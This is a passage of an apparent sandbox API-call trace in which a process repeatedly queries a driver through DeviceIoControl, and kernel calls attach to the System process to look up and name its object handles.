lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0xf8, lpOverlapped=0x0) returned 1 [0102.786] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.787] PsAcquireProcessExitSynchronization () returned 0x0 [0102.787] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.787] ObReferenceObjectByHandle (in: Handle=0xffffffff8000031c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800d41c950, HandleInformation=0x0) returned 0x0 [0102.787] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.787] PsReleaseProcessExitSynchronization () returned 0x2 [0102.787] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.787] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025ff044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025ff044, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.787] ObfDereferenceObject (Object=0xfffffa800d41c950) returned 0x12 [0102.787] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.787] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.787] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.787] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0xf2, lpOverlapped=0x0) returned 1 [0102.787] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.787] PsAcquireProcessExitSynchronization () returned 0x0 [0102.787] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.787] ObReferenceObjectByHandle (in: Handle=0xffffffff80000320, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030f32a0, HandleInformation=0x0) returned 0x0 [0102.787] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.787] PsReleaseProcessExitSynchronization () returned 0x2 [0102.787] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.787] ObQueryNameString (in: Object=0xfffffa80030f32a0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.787] ObfDereferenceObject (Object=0xfffffa80030f32a0) returned 0x2 [0102.787] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.787] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.787] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.787] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x98, lpOverlapped=0x0) returned 1 [0102.787] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.787] PsAcquireProcessExitSynchronization () returned 0x0 [0102.787] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.788] ObReferenceObjectByHandle (in: Handle=0xffffffff80000324, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030f28a0, HandleInformation=0x0) returned 0x0 [0102.788] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.788] PsReleaseProcessExitSynchronization () returned 0x2 [0102.788] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.788] ObQueryNameString (in: Object=0xfffffa80030f28a0, ObjectNameInfo=0xfffffa8002650044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002650044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.788] ObfDereferenceObject (Object=0xfffffa80030f28a0) returned 0x1 [0102.788] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.788] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.788] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.788] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0102.788] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.788] PsAcquireProcessExitSynchronization () returned 0x0 [0102.788] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.788] ObReferenceObjectByHandle (in: Handle=0xffffffff80000328, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030f26d0, HandleInformation=0x0) returned 0x0 [0102.788] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.788] PsReleaseProcessExitSynchronization () returned 0x2 [0102.788] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.788] ObQueryNameString (in: Object=0xfffffa80030f26d0, ObjectNameInfo=0xfffffa8002066044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002066044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.788] ObfDereferenceObject (Object=0xfffffa80030f26d0) returned 0x1 [0102.788] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.788] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.788] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.788] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0102.788] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.788] PsAcquireProcessExitSynchronization () returned 0x0 [0102.788] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.788] ObReferenceObjectByHandle (in: Handle=0xffffffff8000032c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030f8ea0, HandleInformation=0x0) returned 0x0 [0102.788] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.789] PsReleaseProcessExitSynchronization () returned 0x2 [0102.789] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.789] ObQueryNameString (in: Object=0xfffffa80030f8ea0, ObjectNameInfo=0xfffffa80037a5244, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80037a5244, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.789] ObfDereferenceObject (Object=0xfffffa80030f8ea0) returned 0x1 [0102.789] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.789] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.789] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.789] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x13c, lpOverlapped=0x0) returned 1 [0102.789] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.789] PsAcquireProcessExitSynchronization () returned 0x0 [0102.789] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.789] ObReferenceObjectByHandle (in: Handle=0xffffffff80000330, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030ebcb0, HandleInformation=0x0) returned 0x0 [0102.789] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.789] PsReleaseProcessExitSynchronization () returned 0x2 [0102.789] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.789] ObQueryNameString (in: Object=0xfffffa80030ebcb0, ObjectNameInfo=0xfffffa8003420684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003420684, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.789] ObfDereferenceObject (Object=0xfffffa80030ebcb0) returned 0x2 [0102.789] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.789] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.789] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.789] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x13c, lpOverlapped=0x0) returned 1 [0102.790] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.790] PsAcquireProcessExitSynchronization () returned 0x0 [0102.790] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.790] ObReferenceObjectByHandle (in: Handle=0xffffffff80000334, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030f8a90, HandleInformation=0x0) returned 0x0 [0102.790] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.790] PsReleaseProcessExitSynchronization () returned 0x2 [0102.790] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.790] ObQueryNameString (in: Object=0xfffffa80030f8a90, ObjectNameInfo=0xfffffa8002078044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002078044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.790] ObfDereferenceObject (Object=0xfffffa80030f8a90) returned 0x2 [0102.790] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.790] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.790] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.790] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0102.790] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.790] PsAcquireProcessExitSynchronization () returned 0x0 [0102.790] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.790] ObReferenceObjectByHandle (in: Handle=0xffffffff8000033c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030eb790, HandleInformation=0x0) returned 0x0 [0102.790] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.790] PsReleaseProcessExitSynchronization () returned 0x2 [0102.790] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.790] ObQueryNameString (in: Object=0xfffffa80030eb790, ObjectNameInfo=0xfffffa80034287c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80034287c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.790] ObfDereferenceObject (Object=0xfffffa80030eb790) returned 0x1 [0102.790] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.790] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.790] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.790] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0102.790] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.790] PsAcquireProcessExitSynchronization () returned 0x0 [0102.790] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.790] ObReferenceObjectByHandle (in: Handle=0xffffffff80000340, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800c9c02a0, HandleInformation=0x0) returned 0x0 [0102.790] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.791] PsReleaseProcessExitSynchronization () returned 0x2 [0102.791] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.791] ObQueryNameString (in: Object=0xfffffa800c9c02a0, ObjectNameInfo=0xfffffa80024926c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80024926c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.791] ObfDereferenceObject (Object=0xfffffa800c9c02a0) returned 0x2 [0102.791] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.791] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.791] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.791] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x50, lpOverlapped=0x0) returned 1 [0102.791] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.791] PsAcquireProcessExitSynchronization () returned 0x0 [0102.791] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.791] ObReferenceObjectByHandle (in: Handle=0xffffffff80000384, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80031a6400, HandleInformation=0x0) returned 0x0 [0102.791] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.791] PsReleaseProcessExitSynchronization () returned 0x2 [0102.791] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.791] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.791] ObfDereferenceObject (Object=0xfffffa80031a6400) returned 0x1 [0102.791] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.791] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.791] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.791] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x5e, lpOverlapped=0x0) returned 1 [0102.791] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.791] PsAcquireProcessExitSynchronization () returned 0x0 [0102.791] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.791] ObReferenceObjectByHandle (in: Handle=0xffffffff80000388, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003195a90, HandleInformation=0x0) returned 0x0 [0102.791] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.791] PsReleaseProcessExitSynchronization () returned 0x2 [0102.791] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.791] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.791] ObfDereferenceObject (Object=0xfffffa8003195a90) returned 0x1 [0102.791] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.791] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.791] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.791] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0102.792] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.792] PsAcquireProcessExitSynchronization () returned 0x0 [0102.792] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.792] ObReferenceObjectByHandle (in: Handle=0xffffffff8000038c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80031a3590, HandleInformation=0x0) returned 0x0 [0102.792] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.792] PsReleaseProcessExitSynchronization () returned 0x2 [0102.792] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.792] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002007044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002007044, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.792] ObfDereferenceObject (Object=0xfffffa80031a3590) returned 0x1 [0102.792] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.792] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.792] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.792] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x64, lpOverlapped=0x0) returned 1 [0102.792] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.792] PsAcquireProcessExitSynchronization () returned 0x0 [0102.792] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.792] ObReferenceObjectByHandle (in: Handle=0xffffffff80000390, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f61820, HandleInformation=0x0) returned 0x0 [0102.792] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.792] PsReleaseProcessExitSynchronization () returned 0x2 [0102.792] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.792] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.792] ObfDereferenceObject (Object=0xfffffa8002f61820) returned 0x4 [0102.792] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.792] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.792] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.792] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0102.792] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.792] PsAcquireProcessExitSynchronization () returned 0x0 [0102.792] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.792] ObReferenceObjectByHandle (in: Handle=0xffffffff80000394, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80031a8d50, HandleInformation=0x0) returned 0x0 [0102.792] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.792] PsReleaseProcessExitSynchronization () returned 0x2 [0102.792] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.792] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.793] ObfDereferenceObject (Object=0xfffffa80031a8d50) returned 0x1 [0102.793] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.793] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.793] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.793] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x72, lpOverlapped=0x0) returned 1 [0102.793] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.793] PsAcquireProcessExitSynchronization () returned 0x0 [0102.793] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.793] ObReferenceObjectByHandle (in: Handle=0xffffffff80000398, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80031a9f20, HandleInformation=0x0) returned 0x0 [0102.793] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.793] PsReleaseProcessExitSynchronization () returned 0x2 [0102.793] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.793] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002514044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002514044, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.793] ObfDereferenceObject (Object=0xfffffa80031a9f20) returned 0x1 [0102.793] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.793] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.793] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.793] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0102.793] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.793] PsAcquireProcessExitSynchronization () returned 0x0 [0102.793] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.793] ObReferenceObjectByHandle (in: Handle=0xffffffff800003a4, DesiredAccess=0x0, 